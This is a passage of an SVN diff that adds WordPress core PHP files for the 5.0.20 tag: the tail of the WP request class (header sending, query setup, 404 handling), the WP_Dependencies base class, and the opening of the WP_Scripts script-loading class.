+					 (($client_modified_timestamp >= $wp_modified_timestamp) || ($client_etag == $wp_etag)) ) {
+				$status = 304;
+				$exit_required = true;
+			}
+		}
+
+		/**
+		 * Filters the HTTP headers before they're sent to the browser.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array $headers The list of headers to be sent.
+		 * @param WP    $this    Current WordPress environment instance.
+		 */
+		$headers = apply_filters( 'wp_headers', $headers, $this );
+
+		if ( ! empty( $status ) )
+			status_header( $status );
+
+		// If Last-Modified is set to false, it should not be sent (no-cache situation).
+		if ( isset( $headers['Last-Modified'] ) && false === $headers['Last-Modified'] ) {
+			unset( $headers['Last-Modified'] );
+
+			// In PHP 5.3+, make sure we are not sending a Last-Modified header.
+			if ( function_exists( 'header_remove' ) ) {
+				@header_remove( 'Last-Modified' );
+			} else {
+				// In PHP 5.2, send an empty Last-Modified header, but only as a
+				// last resort to override a header already sent. #WP23021
+				foreach ( headers_list() as $header ) {
+					if ( 0 === stripos( $header, 'Last-Modified' ) ) {
+						$headers['Last-Modified'] = '';
+						break;
+					}
+				}
+			}
+		}
+
+		foreach ( (array) $headers as $name => $field_value )
+			@header("{$name}: {$field_value}");
+
+		if ( $exit_required )
+			exit();
+
+		/**
+		 * Fires once the requested HTTP headers for caching, content type, etc. have been sent.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param WP $this Current WordPress environment instance (passed by reference).
+		 */
+		do_action_ref_array( 'send_headers', array( &$this ) );
+	}
+
+	/**
+	 * Sets the query string property based off of the query variable property.
+	 *
+	 * The {@see 'query_string'} filter is deprecated, but still works. Plugins should
+	 * use the {@see 'request'} filter instead.
+	 *
+	 * @since 2.0.0
+	 */
+	public function build_query_string() {
+		$this->query_string = '';
+		foreach ( (array) array_keys($this->query_vars) as $wpvar) {
+			if ( '' != $this->query_vars[$wpvar] ) {
+				$this->query_string .= (strlen($this->query_string) < 1) ? '' : '&';
+				if ( !is_scalar($this->query_vars[$wpvar]) ) // Discard non-scalars.
+					continue;
+				$this->query_string .= $wpvar . '=' . rawurlencode($this->query_vars[$wpvar]);
+			}
+		}
+
+		if ( has_filter( 'query_string' ) ) {  // Don't bother filtering and parsing if no plugins are hooked in.
+			/**
+			 * Filters the query string before parsing.
+			 *
+			 * @since 1.5.0
+			 * @deprecated 2.1.0 Use 'query_vars' or 'request' filters instead.
+			 *
+			 * @param string $query_string The query string to modify.
+			 */
+			$this->query_string = apply_filters( 'query_string', $this->query_string );
+			parse_str($this->query_string, $this->query_vars);
+		}
+	}
+
+	/**
+	 * Set up the WordPress Globals.
+	 *
+	 * The query_vars property will be extracted to the GLOBALS. So care should
+	 * be taken when naming global variables that might interfere with the
+	 * WordPress environment.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @global WP_Query     $wp_query
+	 * @global string       $query_string Query string for the loop.
+	 * @global array        $posts The found posts.
+	 * @global WP_Post|null $post The current post, if available.
+	 * @global string       $request The SQL statement for the request.
+	 * @global int          $more Only set, if single page or post.
+	 * @global int          $single If single page or post. Only set, if single page or post.
+	 * @global WP_User      $authordata Only set, if author archive.
+	 */
+	public function register_globals() {
+		global $wp_query;
+
+		// Extract updated query vars back into global namespace.
+		foreach ( (array) $wp_query->query_vars as $key => $value ) {
+			$GLOBALS[ $key ] = $value;
+		}
+
+		$GLOBALS['query_string'] = $this->query_string;
+		$GLOBALS['posts'] = & $wp_query->posts;
+		$GLOBALS['post'] = isset( $wp_query->post ) ? $wp_query->post : null;
+		$GLOBALS['request'] = $wp_query->request;
+
+		if ( $wp_query->is_single() || $wp_query->is_page() ) {
+			$GLOBALS['more']   = 1;
+			$GLOBALS['single'] = 1;
+		}
+
+		if ( $wp_query->is_author() && isset( $wp_query->post ) )
+			$GLOBALS['authordata'] = get_userdata( $wp_query->post->post_author );
+	}
+
+	/**
+	 * Set up the current user.
+	 *
+	 * @since 2.0.0
+	 */
+	public function init() {
+		wp_get_current_user();
+	}
+
+	/**
+	 * Set up the Loop based on the query variables.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @global WP_Query $wp_the_query
+	 */
+	public function query_posts() {
+		global $wp_the_query;
+		$this->build_query_string();
+		$wp_the_query->query($this->query_vars);
+ 	}
+
+ 	/**
+	 * Set the Headers for 404, if nothing is found for requested URL.
+	 *
+	 * Issue a 404 if a request doesn't match any posts and doesn't match
+	 * any object (e.g. an existing-but-empty category, tag, author) and a 404 was not already
+	 * issued, and if the request was not a search or the homepage.
+	 *
+	 * Otherwise, issue a 200.
+	 *
+	 * This sets headers after posts have been queried. handle_404() really means "handle status."
+	 * By inspecting the result of querying posts, seemingly successful requests can be switched to
+	 * a 404 so that canonical redirection logic can kick in.
+	 *
+	 * @since 2.0.0
+     *
+	 * @global WP_Query $wp_query
+ 	 */
+	public function handle_404() {
+		global $wp_query;
+
+		/**
+		 * Filters whether to short-circuit default header status handling.
+		 *
+		 * Returning a non-false value from the filter will short-circuit the handling
+		 * and return early.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param bool     $preempt  Whether to short-circuit default header status handling. Default false.
+		 * @param WP_Query $wp_query WordPress Query object.
+		 */
+		if ( false !== apply_filters( 'pre_handle_404', false, $wp_query ) ) {
+			return;
+		}
+
+		// If we've already issued a 404, bail.
+		if ( is_404() )
+			return;
+
+		// Never 404 for the admin, robots, or if we found posts.
+		if ( is_admin() || is_robots() || $wp_query->posts ) {
+
+			$success = true;
+			if ( is_singular() ) {
+				$p = false;
+
+				if ( $wp_query->post instanceof WP_Post ) {
+					$p = clone $wp_query->post;
+				}
+
+				// Only set X-Pingback for single posts that allow pings.
+				if ( $p && pings_open( $p ) ) {
+					@header( 'X-Pingback: ' . get_bloginfo( 'pingback_url', 'display' ) );
+				}
+
+				// check for paged content that exceeds the max number of pages
+				$next = '<!--nextpage-->';
+				if ( $p && false !== strpos( $p->post_content, $next ) && ! empty( $this->query_vars['page'] ) ) {
+					$page = trim( $this->query_vars['page'], '/' );
+					$success = (int) $page <= ( substr_count( $p->post_content, $next ) + 1 );
+				}
+			}
+
+			if ( $success ) {
+				status_header( 200 );
+				return;
+			}
+		}
+
+		// We will 404 for paged queries, as no posts were found.
+		if ( ! is_paged() ) {
+
+			// Don't 404 for authors without posts as long as they matched an author on this site.
+			$author = get_query_var( 'author' );
+			if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author ) ) {
+				status_header( 200 );
+				return;
+			}
+
+			// Don't 404 for these queries if they matched an object.
+			if ( ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object() ) {
+				status_header( 200 );
+				return;
+			}
+
+			// Don't 404 for these queries either.
+			if ( is_home() || is_search() || is_feed() ) {
+				status_header( 200 );
+				return;
+			}
+		}
+
+		// Guess it's time to 404.
+		$wp_query->set_404();
+		status_header( 404 );
+		nocache_headers();
+	}
+
+	/**
+	 * Sets up all of the variables required by the WordPress environment.
+	 *
+	 * The action {@see 'wp'} has one parameter that references the WP object. It
+	 * allows for accessing the properties and methods to further manipulate the
+	 * object.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string|array $query_args Passed to parse_request().
+	 */
+	public function main($query_args = '') {
+		$this->init();
+		$this->parse_request($query_args);
+		$this->send_headers();
+		$this->query_posts();
+		$this->handle_404();
+		$this->register_globals();
+
+		/**
+		 * Fires once the WordPress environment has been set up.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param WP $this Current WordPress environment instance (passed by reference).
+		 */
+		do_action_ref_array( 'wp', array( &$this ) );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class.wp-dependencies.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class.wp-dependencies.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class.wp-dependencies.php	(revision 56912)
@@ -0,0 +1,396 @@
+<?php
+/**
+ * Dependencies API: WP_Dependencies base class
+ *
+ * @since 2.6.0
+ *
+ * @package WordPress
+ * @subpackage Dependencies
+ */
+
+/**
+ * Core base class extended to register items.
+ *
+ * @since 2.6.0
+ *
+ * @see _WP_Dependency
+ */
+class WP_Dependencies {
+	/**
+	 * An array of registered handle objects.
+	 *
+	 * @since 2.6.8
+	 * @var array
+	 */
+	public $registered = array();
+
+	/**
+	 * An array of queued _WP_Dependency handle objects.
+	 *
+	 * @since 2.6.8
+	 * @var array
+	 */
+	public $queue = array();
+
+	/**
+	 * An array of _WP_Dependency handle objects to queue.
+	 *
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $to_do = array();
+
+	/**
+	 * An array of _WP_Dependency handle objects already queued.
+	 *
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $done = array();
+
+	/**
+	 * An array of additional arguments passed when a handle is registered.
+	 *
+	 * Arguments are appended to the item query string.
+	 *
+	 * @since 2.6.0
+	 * @var array
+	 */
+	public $args = array();
+
+	/**
+	 * An array of handle groups to enqueue.
+	 *
+	 * @since 2.8.0
+	 * @var array
+	 */
+	public $groups = array();
+
+	/**
+	 * A handle group to enqueue.
+	 *
+	 * @since 2.8.0
+	 * @deprecated 4.5.0
+	 * @var int
+	 */
+	public $group = 0;
+
+	/**
+	 * Processes the items and dependencies.
+	 *
+	 * Processes the items passed to it or the queue, and their dependencies.
+	 *
+	 * @since 2.6.0
+	 * @since 2.8.0 Added the `$group` parameter.
+	 *
+	 * @param mixed $handles Optional. Items to be processed: Process queue (false), process item (string), process items (array of strings).
+	 * @param mixed $group   Group level: level (int), no groups (false).
+	 * @return array Handles of items that have been processed.
+	 */
+	public function do_items( $handles = false, $group = false ) {
+		/*
+		 * If nothing is passed, print the queue. If a string is passed,
+		 * print that item. If an array is passed, print those items.
+		 */
+		$handles = false === $handles ? $this->queue : (array) $handles;
+		$this->all_deps( $handles );
+
+		foreach ( $this->to_do as $key => $handle ) {
+			if ( !in_array($handle, $this->done, true) && isset($this->registered[$handle]) ) {
+				/*
+				 * Attempt to process the item. If successful,
+				 * add the handle to the done array.
+				 *
+				 * Unset the item from the to_do array.
+				 */
+				if ( $this->do_item( $handle, $group ) )
+					$this->done[] = $handle;
+
+				unset( $this->to_do[$key] );
+			}
+		}
+
+		return $this->done;
+	}
+
+	/**
+	 * Processes a dependency.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $handle Name of the item. Should be unique.
+	 * @return bool True on success, false if not set.
+	 */
+	public function do_item( $handle ) {
+		return isset($this->registered[$handle]);
+	}
+
+	/**
+	 * Determines dependencies.
+	 *
+	 * Recursively builds an array of items to process taking
+	 * dependencies into account. Does NOT catch infinite loops.
+	 *
+	 * @since 2.1.0
+	 * @since 2.6.0 Moved from `WP_Scripts`.
+	 * @since 2.8.0 Added the `$group` parameter.
+	 *
+	 * @param mixed     $handles   Item handle and argument (string) or item handles and arguments (array of strings).
+	 * @param bool      $recursion Internal flag that function is calling itself.
+	 * @param int|false $group     Group level: (int) level, (false) no groups.
+	 * @return bool True on success, false on failure.
+	 */
+	public function all_deps( $handles, $recursion = false, $group = false ) {
+		if ( !$handles = (array) $handles )
+			return false;
+
+		foreach ( $handles as $handle ) {
+			$handle_parts = explode('?', $handle);
+			$handle = $handle_parts[0];
+			$queued = in_array($handle, $this->to_do, true);
+
+			if ( in_array($handle, $this->done, true) ) // Already done
+				continue;
+
+			$moved     = $this->set_group( $handle, $recursion, $group );
+			$new_group = $this->groups[ $handle ];
+
+			if ( $queued && !$moved ) // already queued and in the right group
+				continue;
+
+			$keep_going = true;
+			if ( !isset($this->registered[$handle]) )
+				$keep_going = false; // Item doesn't exist.
+			elseif ( $this->registered[$handle]->deps && array_diff($this->registered[$handle]->deps, array_keys($this->registered)) )
+				$keep_going = false; // Item requires dependencies that don't exist.
+			elseif ( $this->registered[$handle]->deps && !$this->all_deps( $this->registered[$handle]->deps, true, $new_group ) )
+				$keep_going = false; // Item requires dependencies that don't exist.
+
+			if ( ! $keep_going ) { // Either item or its dependencies don't exist.
+				if ( $recursion )
+					return false; // Abort this branch.
+				else
+					continue; // We're at the top level. Move on to the next one.
+			}
+
+			if ( $queued ) // Already grabbed it and its dependencies.
+				continue;
+
+			if ( isset($handle_parts[1]) )
+				$this->args[$handle] = $handle_parts[1];
+
+			$this->to_do[] = $handle;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Register an item.
+	 *
+	 * Registers the item if no item of that name already exists.
+	 *
+	 * @since 2.1.0
+	 * @since 2.6.0 Moved from `WP_Scripts`.
+	 *
+	 * @param string           $handle Name of the item. Should be unique.
+	 * @param string           $src    Full URL of the item, or path of the item relative to the WordPress root directory.
+	 * @param array            $deps   Optional. An array of registered item handles this item depends on. Default empty array.
+	 * @param string|bool|null $ver    Optional. String specifying item version number, if it has one, which is added to the URL
+	 *                                 as a query string for cache busting purposes. If version is set to false, a version
+	 *                                 number is automatically added equal to current installed WordPress version.
+	 *                                 If set to null, no version is added.
+	 * @param mixed            $args   Optional. Custom property of the item. NOT the class property $args. Examples: $media, $in_footer.
+	 * @return bool Whether the item has been registered. True on success, false on failure.
+	 */
+	public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) {
+		if ( isset($this->registered[$handle]) )
+			return false;
+		$this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args );
+		return true;
+	}
+
+	/**
+	 * Add extra item data.
+	 *
+	 * Adds data to a registered item.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $handle Name of the item. Should be unique.
+	 * @param string $key    The data key.
+	 * @param mixed  $value  The data value.
+	 * @return bool True on success, false on failure.
+	 */
+	public function add_data( $handle, $key, $value ) {
+		if ( !isset( $this->registered[$handle] ) )
+			return false;
+
+		return $this->registered[$handle]->add_data( $key, $value );
+	}
+
+	/**
+	 * Get extra item data.
+	 *
+	 * Gets data associated with a registered item.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $handle Name of the item. Should be unique.
+	 * @param string $key    The data key.
+	 * @return mixed Extra item data (string), false otherwise.
+	 */
+	public function get_data( $handle, $key ) {
+		if ( !isset( $this->registered[$handle] ) )
+			return false;
+
+		if ( !isset( $this->registered[$handle]->extra[$key] ) )
+			return false;
+
+		return $this->registered[$handle]->extra[$key];
+	}
+
+	/**
+	 * Un-register an item or items.
+	 *
+	 * @since 2.1.0
+	 * @since 2.6.0 Moved from `WP_Scripts`.
+	 *
+	 * @param mixed $handles Item handle and argument (string) or item handles and arguments (array of strings).
+	 * @return void
+	 */
+	public function remove( $handles ) {
+		foreach ( (array) $handles as $handle )
+			unset($this->registered[$handle]);
+	}
+
+	/**
+	 * Queue an item or items.
+	 *
+	 * Decodes handles and arguments, then queues handles and stores
+	 * arguments in the class property $args. For example in extending
+	 * classes, $args is appended to the item url as a query string.
+	 * Note $args is NOT the $args property of items in the $registered array.
+	 *
+	 * @since 2.1.0
+	 * @since 2.6.0 Moved from `WP_Scripts`.
+	 *
+	 * @param mixed $handles Item handle and argument (string) or item handles and arguments (array of strings).
+	 */
+	public function enqueue( $handles ) {
+		foreach ( (array) $handles as $handle ) {
+			$handle = explode('?', $handle);
+			if ( !in_array($handle[0], $this->queue) && isset($this->registered[$handle[0]]) ) {
+				$this->queue[] = $handle[0];
+				if ( isset($handle[1]) )
+					$this->args[$handle[0]] = $handle[1];
+			}
+		}
+	}
+
+	/**
+	 * Dequeue an item or items.
+	 *
+	 * Decodes handles and arguments, then dequeues handles
+	 * and removes arguments from the class property $args.
+	 *
+	 * @since 2.1.0
+	 * @since 2.6.0 Moved from `WP_Scripts`.
+	 *
+	 * @param mixed $handles Item handle and argument (string) or item handles and arguments (array of strings).
+	 */
+	public function dequeue( $handles ) {
+		foreach ( (array) $handles as $handle ) {
+			$handle = explode('?', $handle);
+			$key = array_search($handle[0], $this->queue);
+			if ( false !== $key ) {
+				unset($this->queue[$key]);
+				unset($this->args[$handle[0]]);
+			}
+		}
+	}
+
+	/**
+	 * Recursively search the passed dependency tree for $handle
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array  $queue  An array of queued _WP_Dependency handle objects.
+	 * @param string $handle Name of the item. Should be unique.
+	 * @return bool Whether the handle is found after recursively searching the dependency tree.
+	 */
+	protected function recurse_deps( $queue, $handle ) {
+		foreach ( $queue as $queued ) {
+			if ( ! isset( $this->registered[ $queued ] ) ) {
+				continue;
+			}
+
+			if ( in_array( $handle, $this->registered[ $queued ]->deps ) ) {
+				return true;
+			} elseif ( $this->recurse_deps( $this->registered[ $queued ]->deps, $handle ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Query list for an item.
+	 *
+	 * @since 2.1.0
+	 * @since 2.6.0 Moved from `WP_Scripts`.
+	 *
+	 * @param string $handle Name of the item. Should be unique.
+	 * @param string $list   Property name of list array.
+	 * @return bool|_WP_Dependency Found, or object Item data.
+	 */
+	public function query( $handle, $list = 'registered' ) {
+		switch ( $list ) {
+			case 'registered' :
+			case 'scripts': // back compat
+				if ( isset( $this->registered[ $handle ] ) )
+					return $this->registered[ $handle ];
+				return false;
+
+			case 'enqueued' :
+			case 'queue' :
+				if ( in_array( $handle, $this->queue ) ) {
+					return true;
+				}
+				return $this->recurse_deps( $this->queue, $handle );
+
+			case 'to_do' :
+			case 'to_print': // back compat
+				return in_array( $handle, $this->to_do );
+
+			case 'done' :
+			case 'printed': // back compat
+				return in_array( $handle, $this->done );
+		}
+		return false;
+	}
+
+	/**
+	 * Set item group, unless already in a lower group.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $handle    Name of the item. Should be unique.
+	 * @param bool   $recursion Internal flag that calling function was called recursively.
+	 * @param mixed  $group     Group level.
+	 * @return bool Not already in the group or a lower group
+	 */
+	public function set_group( $handle, $recursion, $group ) {
+		$group = (int) $group;
+
+		if ( isset( $this->groups[ $handle ] ) && $this->groups[ $handle ] <= $group ) {
+			return false;
+		}
+
+		$this->groups[ $handle ] = $group;
+
+		return true;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/class.wp-scripts.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class.wp-scripts.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class.wp-scripts.php	(revision 56912)
@@ -0,0 +1,644 @@
+<?php
+/**
+ * Dependencies API: WP_Scripts class
+ *
+ * @since 2.6.0
+ *
+ * @package WordPress
+ * @subpackage Dependencies
+ */
+
+/**
+ * Core class used to register scripts.
+ *
+ * @since 2.1.0
+ *
+ * @see WP_Dependencies
+ */
+class WP_Scripts extends WP_Dependencies {
+	/**
+	 * Base URL for scripts.
+	 *
+	 * Full URL with trailing slash.
+	 *
+	 * @since 2.6.0
+	 * @var string
+	 */
+	public $base_url;
+
+	/**
+	 * URL of the content directory.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $content_url;
+
+	/**
+	 * Default version string for stylesheets.
+	 *
+	 * @since 2.6.0
+	 * @var string
+	 */
+	public $default_version;
+
+	/**
+	 * Holds handles of scripts which are enqueued in footer.
+	 *
+	 * @since 2.8.0
+	 * @var array
+	 */
+	public $in_footer = array();
+
+	/**
+	 * Holds a list of script handles which will be concatenated.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $concat = '';
+
+	/**
+	 * Holds a string which contains script handles and their version.
+	 *
+	 * @since 2.8.0
+	 * @deprecated 3.4.0
+	 * @var string
+	 */
+	public $concat_version = '';
+
+	/**
+	 * Whether to perform concatenation.
+	 *
+	 * @since 2.8.0
+	 * @var bool
+	 */
+	public $do_concat = false;
+
+	/**
+	 * Holds HTML markup of scripts and additional data if concatenation
+	 * is enabled.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $print_html = '';
+
+	/**
+	 * Holds inline code if concatenation is enabled.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $print_code = '';
+
+	/**
+	 * Holds a list of script handles which are not in the default directory
+	 * if concatenation is enabled.
+	 *
+	 * Unused in core.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $ext_handles = '';
+
+	/**
+	 * Holds a string which contains handles and versions of scripts which
+	 * are not in the default directory if concatenation is enabled.
+	 *
+	 * Unused in core.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $ext_version = '';
+
+	/**
+	 * List of default directories.
+	 *
+	 * @since 2.8.0
+	 * @var array
+	 */
+	public $default_dirs;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 2.6.0
+	 */
+	public function __construct() {
+		$this->init();
+		add_action( 'init', array( $this, 'init' ), 0 );
+	}
+
+	/**
+	 * Initialize the class.
+	 *
+	 * @since 3.4.0
+	 */
+	public function init() {
+		/**
+		 * Fires when the WP_Scripts instance is initialized.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param WP_Scripts $this WP_Scripts instance (passed by reference).
+		 */
+		do_action_ref_array( 'wp_default_scripts', array(&$this) );
+	}
+
+	/**
+	 * Prints scripts.
+	 *
+	 * Prints the scripts passed to it or the print queue. Also prints all necessary dependencies.
+	 *
+	 * @since 2.1.0
+	 * @since 2.8.0 Added the `$group` parameter.
+	 *
+	 * @param mixed $handles Optional. Scripts to be printed. (void) prints queue, (string) prints
+	 *                       that script, (array of strings) prints those scripts. Default false.
+	 * @param int   $group   Optional. If scripts were queued in groups prints this group number.
+	 *                       Default false.
+	 * @return array Scripts that have been printed.
+	 */
+	public function print_scripts( $handles = false, $group = false ) {
+		return $this->do_items( $handles, $group );
+	}
+
+	/**
+	 * Prints extra scripts of a registered script.
+	 *
+	 * @since 2.1.0
+	 * @since 2.8.0 Added the `$echo` parameter.
+	 * @deprecated 3.3.0
+	 *
+	 * @see print_extra_script()
+	 *
+	 * @param string $handle The script's registered handle.
+	 * @param bool   $echo   Optional. Whether to echo the extra script instead of just returning it.
+	 *                       Default true.
+	 * @return bool|string|void Void if no data exists, extra scripts if `$echo` is true, true otherwise.
+	 */
+	public function print_scripts_l10n( $handle, $echo = true ) {
+		_deprecated_function( __FUNCTION__, '3.3.0', 'WP_Scripts::print_extra_script()' );
+		return $this->print_extra_script( $handle, $echo );
+	}
+
+	/**
+	 * Prints extra scripts of a registered script.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $handle The script's registered handle.
+	 * @param bool   $echo   Optional. Whether to echo the extra script instead of just returning it.
+	 *                       Default true.
+	 * @return bool|string|void Void if no data exists, extra scripts if `$echo` is true, true otherwise.
+	 */
+	public function print_extra_script( $handle, $echo = true ) {
+		if ( !$output = $this->get_data( $handle, 'data' ) )
+			return;
+
+		if ( !$echo )
+			return $output;
+
+		echo "<script type='text/javascript'>\n"; // CDATA and type='text/javascript' is not needed for HTML 5
+		echo "/* <![CDATA[ */\n";
+		echo "$output\n";
+		echo "/* ]]> */\n";
+		echo "</script>\n";
+
+		return true;
+	}
+
+	/**
+	 * Processes a script dependency.
+	 *
+	 * @since 2.6.0
+	 * @since 2.8.0 Added the `$group` parameter.
+	 *
+	 * @see WP_Dependencies::do_item()
+	 *
+	 * @param string $handle    The script's registered handle.
+	 * @param int|false $group  Optional. Group level: (int) level, (false) no groups. Default false.
+	 * @return bool True on success, false on failure.
+	 */
+	public function do_item( $handle, $group = false ) {
+		if ( !parent::do_item($handle) )
+			return false;
+
+		if ( 0 === $group && $this->groups[$handle] > 0 ) {
+			$this->in_footer[] = $handle;
+			return false;
+		}
+
+		if ( false === $group && in_array($handle, $this->in_footer, true) )
+			$this->in_footer = array_diff( $this->in_footer, (array) $handle );
+
+		$obj = $this->registered[$handle];
+
+		if ( null === $obj->ver ) {
+			$ver = '';
+		} else {
+			$ver = $obj->ver ? $obj->ver : $this->default_version;
+		}
+
+		if ( isset($this->args[$handle]) )
+			$ver = $ver ? $ver . '&amp;' . $this->args[$handle] : $this->args[$handle];
+
+		$src = $obj->src;
+		$cond_before = $cond_after = '';
+		$conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : '';
+
+		if ( $conditional ) {
+			$cond_before = "<!--[if {$conditional}]>\n";
+			$cond_after = "<![endif]-->\n";
+		}
+
+		$before_handle = $this->print_inline_script( $handle, 'before', false );
+		$after_handle = $this->print_inline_script( $handle, 'after', false );
+
+		if ( $before_handle ) {
+			$before_handle = sprintf( "<script type='text/javascript'>\n%s\n</script>\n", $before_handle );
+		}
+
+		if ( $after_handle ) {
+			$after_handle = sprintf( "<script type='text/javascript'>\n%s\n</script>\n", $after_handle );
+		}
+
+		if ( $before_handle || $after_handle ) {
+			$inline_script_tag = "{$cond_before}{$before_handle}{$after_handle}{$cond_after}";
+		} else {
+			$inline_script_tag = '';
+		}
+
+		if ( $this->do_concat ) {
+			/**
+			 * Filters the script loader source.
+			 *
+			 * @since 2.2.0
+			 *
+			 * @param string $src    Script loader source path.
+			 * @param string $handle Script handle.
+			 */
+			$srce = apply_filters( 'script_loader_src', $src, $handle );
+
+			if ( $this->in_default_dir( $srce ) && ( $before_handle || $after_handle ) ) {
+				$this->do_concat = false;
+
+				// Have to print the so-far concatenated scripts right away to maintain the right order.
+				_print_scripts();
+				$this->reset();
+			} elseif ( $this->in_default_dir( $srce ) && ! $conditional ) {
+				$this->print_code .= $this->print_extra_script( $handle, false );
+				$this->concat .= "$handle,";
+				$this->concat_version .= "$handle$ver";
+				return true;
+			} else {
+				$this->ext_handles .= "$handle,";
+				$this->ext_version .= "$handle$ver";
+			}
+		}
+
+		$has_conditional_data = $conditional && $this->get_data( $handle, 'data' );
+
+		if ( $has_conditional_data ) {
+			echo $cond_before;
+		}
+
+		$this->print_extra_script( $handle );
+
+		if ( $has_conditional_data ) {
+			echo $cond_after;
+		}
+
+		// A single item may alias a set of items, by having dependencies, but no source.
+		if ( ! $src ) {
+			if ( $inline_script_tag ) {
+				if ( $this->do_concat ) {
+					$this->print_html .= $inline_script_tag;
+				} else {
+					echo $inline_script_tag;
+				}
+			}
+
+			return true;
+		}
+
+		$translations = $this->print_translations( $handle, false );
+		if ( $translations ) {
+			$translations = sprintf( "<script type='text/javascript'>\n%s\n</script>\n", $translations );
+		}
+
+		if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && 0 === strpos( $src, $this->content_url ) ) ) {
+			$src = $this->base_url . $src;
+		}
+
+		if ( ! empty( $ver ) )
+			$src = add_query_arg( 'ver', $ver, $src );
+
+		/** This filter is documented in wp-includes/class.wp-scripts.php */
+		$src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) );
+
+		if ( ! $src )
+			return true;
+
+		$tag = "{$translations}{$cond_before}{$before_handle}<script type='text/javascript' src='$src'></script>\n{$after_handle}{$cond_after}";
+
+		/**
+		 * Filters the HTML script tag of an enqueued script.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param string $tag    The `<script>` tag for the enqueued script.
+		 * @param string $handle The script's registered handle.
+		 * @param string $src    The script's source URL.
+		 */
+		$tag = apply_filters( 'script_loader_tag', $tag, $handle, $src );
+
+		if ( $this->do_concat ) {
+			$this->print_html .= $tag;
+		} else {
+			echo $tag;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Adds extra code to a registered script.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $handle   Name of the script to add the inline script to. Must be lowercase.
+	 * @param string $data     String containing the javascript to be added.
+	 * @param string $position Optional. Whether to add the inline script before the handle
+	 *                         or after. Default 'after'.
+	 * @return bool True on success, false on failure.
+	 */
+	public function add_inline_script( $handle, $data, $position = 'after' ) {
+		if ( ! $data ) {
+			return false;
+		}
+
+		if ( 'after' !== $position ) {
+			$position = 'before';
+		}
+
+		$script   = (array) $this->get_data( $handle, $position );
+		$script[] = $data;
+
+		return $this->add_data( $handle, $position, $script );
+	}
+
+	/**
+	 * Prints inline scripts registered for a specific handle.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $handle   Name of the script to add the inline script to. Must be lowercase.
+	 * @param string $position Optional. Whether to add the inline script before the handle
+	 *                         or after. Default 'after'.
+	 * @param bool $echo       Optional. Whether to echo the script instead of just returning it.
+	 *                         Default true.
+	 * @return string|false Script on success, false otherwise.
+	 */
+	public function print_inline_script( $handle, $position = 'after', $echo = true ) {
+		$output = $this->get_data( $handle, $position );
+
+		if ( empty( $output ) ) {
+			return false;
+		}
+
+		$output = trim( implode( "\n", $output ), "\n" );
+
+		if ( $echo ) {
+			printf( "<script type='text/javascript'>\n%s\n</script>\n", $output );
+		}
+
+		return $output;
+	}
+
+	/**
+	 * Localizes a script, only if the script has already been added.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $handle
+	 * @param string $object_name
+	 * @param array $l10n
+	 * @return bool
+	 */
+	public function localize( $handle, $object_name, $l10n ) {
+		if ( $handle === 'jquery' )
+			$handle = 'jquery-core';
+
+		if ( is_array($l10n) && isset($l10n['l10n_print_after']) ) { // back compat, preserve the code in 'l10n_print_after' if present
+			$after = $l10n['l10n_print_after'];
+			unset($l10n['l10n_print_after']);
+		}
+
+		foreach ( (array) $l10n as $key => $value ) {
+			if ( !is_scalar($value) )
+				continue;
+
+			$l10n[$key] = html_entity_decode( (string) $value, ENT_QUOTES, 'UTF-8');
+		}
+
+		$script = "var $object_name = " . wp_json_encode( $l10n ) . ';';
+
+		if ( !empty($after) )
+			$script .= "\n$after;";
+
+		$data = $this->get_data( $handle, 'data' );
+
+		if ( !empty( $data ) )
+			$script = "$data\n$script";
+
+		return $this->add_data( $handle, 'data', $script );
+	}
+
+	/**
+	 * Sets handle group.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @see WP_Dependencies::set_group()
+	 *
+	 * @param string    $handle    Name of the item. Should be unique.
+	 * @param bool      $recursion Internal flag that calling function was called recursively.
+	 * @param int|false $group     Optional. Group level: (int) level, (false) no groups. Default false.
+	 * @return bool Not already in the group or a lower group
+	 */
+	public function set_group( $handle, $recursion, $group = false ) {
+		if ( isset( $this->registered[$handle]->args ) && $this->registered[$handle]->args === 1 )
